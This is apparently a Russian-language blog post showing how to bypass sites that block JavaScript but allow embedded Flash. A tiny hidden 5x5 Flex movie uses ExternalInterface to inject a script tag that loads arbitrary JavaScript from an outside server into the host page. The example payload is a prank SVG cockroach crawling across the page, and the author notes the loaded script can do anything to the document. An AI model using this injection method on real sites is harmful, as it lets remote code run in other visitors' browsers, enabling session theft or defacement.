Получить доступ к DOM с использованием flex.

Некоторые сайты позволяют пользователям встраивать в свои сообщения флэш, но рубят попытки использовать SVG или JavaScript (надо сказать, справедливо). Это обходится довольно просто (лишь бы они пропускали <param name="allowScriptAccess" value="always" />). Итак:

1. Создаем флэш-ролик (для flex файл main.mxml может выглядеть примерно так):

<?xml version="1.0" encoding="utf-8"?>
<s:Application
    xmlns:fx="http://ns.adobe.com/mxml/2009"
    xmlns:mx="library://ns.adobe.com/flex/mx"
    xmlns:s="library://ns.adobe.com/flex/spark"
    frameRate="100"
    creationComplete="init()"
    >

<fx:Script>
<![CDATA[
import mx.core.FlexGlobals;
import flash.utils.Timer;
import flash.events.TimerEvent;
import flash.external.ExternalInterface;

public var myTimer:Timer;


private function init():void
{
    myTimer = new Timer(4000, 0);
    myTimer.addEventListener(TimerEvent.TIMER, timerHandler);
    myTimer.start();
}

private function timerHandler(e:TimerEvent):void
{
    myTimer.stop();

    if (ExternalInterface.available)
    {
        try
        {
        ExternalInterface.call(
            "function () " +
            "{ " +
                "var th = document.getElementsByTagName('head')[0]; " +
                "var s = document.createElement('script'); " +
                "s.setAttribute('type','text/javascript'); " +
                "s.setAttribute('src','http://myserver/myscript.js?d='+(new Date()).getTime()); " +
                "th.appendChild(s); " +
            "} "
            );
        }
        catch(error:*)
        {
        }
    }
}
]]>
</fx:Script>

</s:Application>

2. Встраиваем этот ролик на нужную страницу:

<object type="application/x-shockwave-flash" data="http://myserver/myscript.swf" width="5" height="5">
<param name="src" value="http://myserver/myscript.swf" />
<param name="allowScriptAccess" value="always" />
</object>

Вот, например -> <- (тут ролик размером 5x5)

3. Всё. Дальше в myscript.js можно писать что угодно для манипулирования структурой вмещающего документа. Вот, например, скрипт, рисующий ползающего по странице таракана:

var NS="http://www.w3.org/2000/svg";
var svg=document.createElementNS(NS,"svg");
svg.setAttribute("width",40);
svg.setAttribute("height",40);
svg.style.setProperty("position", "absolute", null);
document.body.appendChild(svg);


var svgG = document.createElementNS(NS,"g");
svgG.setAttribute("transform","translate(20,20) rotate(120)");
svg.appendChild(svgG);

var stopFun = 0;
svg.onclick = function()
{
    svg.style.setProperty("display", "none", null);
    stopFun = 1;
}

var el = document.createElementNS(NS,"ellipse"); el.setAttribute("style","fill:black");
el.setAttribute("cx",0); el.setAttribute("cy",0); el.setAttribute("rx",10); el.setAttribute("ry",4);
svgG.appendChild(el);

var l111 = document.createElementNS(NS,"line");l111.setAttribute("style","stroke:black");
l111.setAttribute("x1",4);l111.setAttribute("y1",0);l111.setAttribute("x2",6);l111.setAttribute("y2",-6);
svgG.appendChild(l111);
var l112 = document.createElementNS(NS,"line");l112.setAttribute("style","stroke:black");
l112.setAttribute("x1",6);l112.setAttribute("y1",-6);l112.setAttribute("x2",2);l112.setAttribute("y2",-8);
svgG.appendChild(l112);

var l211 = document.createElementNS(NS,"line");l211.setAttribute("style","stroke:black");
l211.setAttribute("x1",0);l211.setAttribute("y1",0);l211.setAttribute("x2",2);l211.setAttribute("y2",-6);
svgG.appendChild(l211);
var l212 = document.createElementNS(NS,"line");l212.setAttribute("style","stroke:black");
l212.setAttribute("x1",2);l212.setAttribute("y1",-6);l212.setAttribute("x2",-2);l212.setAttribute("y2",-8);
svgG.appendChild(l212);

var l311 = document.createElementNS(NS,"line");l311.setAttribute("style","stroke:black");
l311.setAttribute("x1",-4);l311.setAttribute("y1",0);l311.setAttribute("x2",-2);l311.setAttribute("y2",-6);
svgG.appendChild(l311);
var l312 = document.createElementNS(NS,"line");l312.setAttribute("style","stroke:black");
l312.setAttribute("x1",-2);l312.setAttribute("y1",-6);l312.setAttribute("x2",-6);l312.setAttribute("y2",-8);
svgG.appendChild(l312);

var l121 = document.createElementNS(NS,"line");l121.setAttribute("style","stroke:black");
l121.setAttribute("x1",4);l121.setAttribute("y1",0);l121.setAttribute("x2",6);l121.setAttribute("y2",6);
svgG.appendChild(l121);
var l122 = document.createElementNS(NS,"line");l122.setAttribute("style","stroke:black");
l122.setAttribute("x1",6);l122.setAttribute("y1",6);l122.setAttribute("x2",2);l122.setAttribute("y2",8);
svgG.appendChild(l122);

var l221 = document.createElementNS(NS,"line");l221.setAttribute("style","stroke:black");
l221.setAttribute("x1",0);l221.setAttribute("y1",0);l221.setAttribute("x2",2);l221.setAttribute("y2",6);
svgG.appendChild(l221);
var l222 = document.createElementNS(NS,"line");l222.setAttribute("style","stroke:black");
l222.setAttribute("x1",2);l222.setAttribute("y1",6);l222.setAttribute("x2",-2);l222.setAttribute("y2",8);
svgG.appendChild(l222);

var l321 = document.createElementNS(NS,"line");l321.setAttribute("style","stroke:black");
l321.setAttribute("x1",-4);l321.setAttribute("y1",0);l321.setAttribute("x2",-2);l321.setAttribute("y2",6);
svgG.appendChild(l321);
var l322 = document.createElementNS(NS,"line");l322.setAttribute("style","stroke:black");
l322.setAttribute("x1",-2);l322.setAttribute("y1",6);l322.setAttribute("x2",-6);l322.setAttribute("y2",8);
svgG.appendChild(l322);

el = document.createElementNS(NS,"line");el.setAttribute("style","stroke:black");
el.setAttribute("x1",8);el.setAttribute("y1",0);el.setAttribute("x2",20);el.setAttribute("y2",-4);
svgG.appendChild(el);
el = document.createElementNS(NS,"line");el.setAttribute("style","stroke:black");
el.setAttribute("x1",8);el.setAttribute("y1",0);el.setAttribute("x2",20);el.setAttribute("y2",4);
svgG.appendChild(el);

var legPosition = 0;

function placeLegs()
{
    if (legPosition == 0)
    {
        l111.setAttribute("x2",6);
        l112.setAttribute("x1",6);
        l211.setAttribute("x2",2);
        l212.setAttribute("x1",2);
        l311.setAttribute("x2",-2);
        l312.setAttribute("x1",-2);

        l121.setAttribute("x2",6);
        l122.setAttribute("x1",6);
        l221.setAttribute("x2",2);
        l222.setAttribute("x1",2);
        l321.setAttribute("x2",-2);
        l322.setAttribute("x1",-2);
    }

    if (legPosition == 1)
    {
        l111.setAttribute("x2",8);
        l112.setAttribute("x1",8);

        l121.setAttribute("x2",8);
        l122.setAttribute("x1",8);
    }

    if (legPosition == 2)
    {
        l211.setAttribute("x2",4);
        l212.setAttribute("x1",4);

        l221.setAttribute("x2",4);
        l222.setAttribute("x1",4);
    }

    if (legPosition == 3)
    {
        l311.setAttribute("x2",0);
        l312.setAttribute("x1",0);

        l321.setAttribute("x2",0);
        l322.setAttribute("x1",0);
    }
}

function getBodyScrollTop()
{
    return self.pageYOffset || (document.documentElement && document.documentElement.scrollTop) || (document.body && document.body.scrollTop);
}

// thanks to http://james.padolsey.com/javascript/get-document-height-cross-browser/
function getDocHeight()
{
    var D = document;
    return Math.max(
        Math.max(D.body.scrollHeight, D.documentElement.scrollHeight),
        Math.max(D.body.offsetHeight, D.documentElement.offsetHeight),
        Math.max(D.body.clientHeight, D.documentElement.clientHeight)
        );
}

function getDocWidth()
{
    var D = document;
    return Math.max(
        Math.max(D.body.scrollWidth, D.documentElement.scrollWidth),
        Math.max(D.body.offsetWidth, D.documentElement.offsetWidth),
        Math.max(D.body.clientWidth, D.documentElement.clientWidth)
        );
}

var roachX = 0;
var roachY = 0;

var destinationX = 0;
var destinationY = 0;

var roachVX = 0;
var roachVY = 0;
var roachVR = 0;

svg.style.setProperty("left", ""+(roachX-20)+"px", null);
svg.style.setProperty("top", ""+(roachY-20)+"px", null);

var progressTimer;

function moveRoach()
{
    if (stopFun == 1)
        return;
    if (Math.abs(destinationX-roachX) + Math.abs(destinationY-roachY) < 20)
    {
        destinationX = Math.random()*getDocWidth();
        var minY = roachY - 1024; if (minY < 0) minY = 0;
        var maxY = roachY + 1024; if (maxY > getDocHeight()) maxY = getDocHeight();
        destinationY = Math.random()*(maxY-minY)+minY;
        //destinationY = Math.random()*getDocHeight();
        roachVX = destinationX - roachX;
        roachVY = destinationY - roachY;
        roachVR = Math.sqrt(roachVX*roachVX + roachVY*roachVY);
        if (roachVR > 1)
        {
            roachVX /= roachVR;
            roachVY /= roachVR;
        }
        roachVX *= 10;
        roachVY *= 10;
        var alpha = Math.round(Math.atan2(roachVY, roachVX)/Math.PI*180);
        svgG.setAttribute("transform","translate(20,20) rotate(" + alpha + ")");
        progressTimer = setTimeout("moveRoach()", Math.round(Math.random()*15000));
        return;
    }
    roachX += roachVX;
    roachY += roachVY;
    svg.style.setProperty("left", ""+(roachX-20)+"px", null);
    svg.style.setProperty("top", ""+(roachY-20)+"px", null);
    legPosition++;
    if (legPosition > 3) legPosition = 0;
    placeLegs();
    progressTimer = setTimeout("moveRoach()", 100);
}

progressTimer = setTimeout("moveRoach()", 100);